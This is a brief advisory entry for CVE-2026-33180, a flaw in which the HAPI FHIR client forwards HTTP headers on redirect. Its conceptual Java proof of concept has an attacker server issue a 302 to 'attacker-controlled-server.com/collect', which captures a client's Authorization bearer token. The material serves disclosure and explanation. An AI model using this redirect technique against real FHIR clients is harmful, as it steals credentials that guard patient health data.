CVE-2026-33180 HAPI FHIR HTTP重定向头部泄露漏洞

// This is a conceptual PoC demonstrating the header leakage scenario. // 1. Attacker sets up a malicious server that logs headers. // Malicious Server Response: // HTTP/1.1 302 Found // Location: http://attacker-controlled-server.com/collect // 2. Victim uses vulnerable HAPI FHIR client (< 6.9.0) import ca.uhn.fhir.rest.client.api.IGenericClient; import ca.uhn.fhir.context.FhirContext; public class HapiClient { public static void main(String[] args) { FhirContext ctx = FhirContext.forR4(); // Client configured to follow redirects (default behavior) IGenericClient client = ctx.newRestfulGenericClient("https://trusted-hapi-server.com"); // Adding a sensitive header (e.g., Authorization) client.registerInterceptor(new IClientInterceptor() { @Override public void interceptRequest(IHttpRequest theRequest) { theRequest.addHeader("Authorization", "Bearer sensitive-token-123"); } // ... other methods }); // Triggering a request that results in a redirect to the attacker // The vulnerable client will send "Authorization: Bearer sensitive-token-123" to attacker-controlled-server.com client.read().resource("Patient").withId("example").execute(); } }